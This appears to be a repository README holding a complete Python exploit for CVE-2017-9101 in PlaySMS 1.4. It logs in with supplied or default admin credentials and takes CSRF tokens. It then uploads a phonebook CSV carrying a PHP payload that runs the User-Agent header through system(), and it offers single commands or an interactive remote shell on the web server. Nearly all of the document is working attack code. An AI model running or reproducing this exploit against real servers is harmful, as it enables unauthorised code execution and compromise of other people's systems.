README.md
Rendering markdown...
#!/usr/bin/env python3
#
# Exploit for CVE-2017-9101 targeting PlaySMS 1.4
# As an authenticated user it's possible to perform remote code execution in
# the context of the user that's running the webserver.
# https://www.exploit-db.com/exploits/42044/
import argparse
import random
import requests
import sys
from bs4 import BeautifulSoup
def pr_ok(msg):
print('[+] {}'.format(msg))
def pr_err(msg, exit=True, rc=1):
print('[-] {}'.format(msg))
if exit:
sys.exit(rc)
def pr_info(msg):
print('[*] {}'.format(msg))
def csrf_token(html, quiet=True):
# Grab the CSRF token
soup = BeautifulSoup(html, 'html.parser')
try:
token = soup.find(attrs={'name': 'X-CSRF-Token'})['value']
except:
pr_err('Could not determine CSRF token')
if not quiet:
pr_ok('Got token: {}'.format(token))
return token
def exec(session, token, import_url, command, quiet):
warhead = "<?php $t=$_SERVER['HTTP_USER_AGENT']; system($t); ?>"
payload = 'Name,Email,Department\n'
payload += '{},{},{}'.format(warhead, random.randint(0, 42), random.randint(0, 42))
# Here comes the fun part of actually embedding our command into the User-Agent header
headers = {
'user-agent': command,
'Upgrade-Insecure-Requests': '1',
}
files = {
'X-CSRF-Token': (None, token),
'fnpb': ('p.csv', payload, 'text/csv')
}
try:
if not quiet:
pr_info('Attempting to execute payload')
r = session.post(import_url + '&op=import', headers = headers, files = files)
except Exception as e:
pr_err(e)
if r.status_code != 200:
pr_err('Failed to execute payload (can be safely ignored for long running commands...)')
# Locate the table previewing the upload
try:
soup = BeautifulSoup(r.text, 'html.parser')
table = soup.find('table', class_='playsms-table-list')
# Now look for the cell with our shell output
output = table.find('td').next_sibling.next_sibling.contents
for line in output:
print(line)
# Pass the CSRF token to the caller for a future POST
return csrf_token(r.text)
except Exception as e:
pr_err('Failed to run "{}": {}'.format(command, e), False)
def main():
parser = argparse.ArgumentParser()
parser.add_argument('--username', default='admin', type=str)
parser.add_argument('--password', default='admin', type=str)
parser.add_argument('--url', required=True, type=str)
parser.add_argument('--interactive', '-i', default=False, action='store_true')
parser.add_argument('--command', '-c', type=str)
args = parser.parse_args()
if (args.command and args.interactive) or (not (args.interactive or args.command)):
pr_err('Either --command or --interactive required.')
login_url = args.url + '/index.php?app=main&inc=core_auth&route=login'
session = requests.Session()
try:
pr_info('Grabbing CSRF token for login')
r = session.get(login_url)
except Exception as e:
pr_err(e)
if r.status_code != 200:
pr_err('Couln\'t retrieve login page.')
token = csrf_token(r.text)
try:
pr_info('Attempting to login as {}'.format(args.username))
data = {
'username': args.username,
'password': args.password,
'X-CSRF-Token': token,
}
headers = {
'Upgrade-Insecure-Requests': '1',
'Referer': login_url,
}
r = session.post(login_url + '&op=login', data = data, headers = headers)
except Exception as e:
pr_err(e)
pr_ok('Logged in!')
import_url = args.url + '/index.php?app=main&inc=feature_phonebook&route=import'
try:
pr_info('Grabbing CSRF token for phonebook import')
r = session.get(import_url + '&op=list')
except Exception as e:
pr_err(e)
token = csrf_token(r.text)
if args.command:
exec(session, token, import_url, args.command, False)
elif args.interactive:
pr_ok('Entering interactive shell; type "quit" or ^D to quit')
while True:
try:
command = input('> ')
except EOFError:
sys.exit(0)
if command in ['quit', 'q']:
sys.exit(0)
token = exec(session, token, import_url, command, True)
if __name__ == '__main__':
main()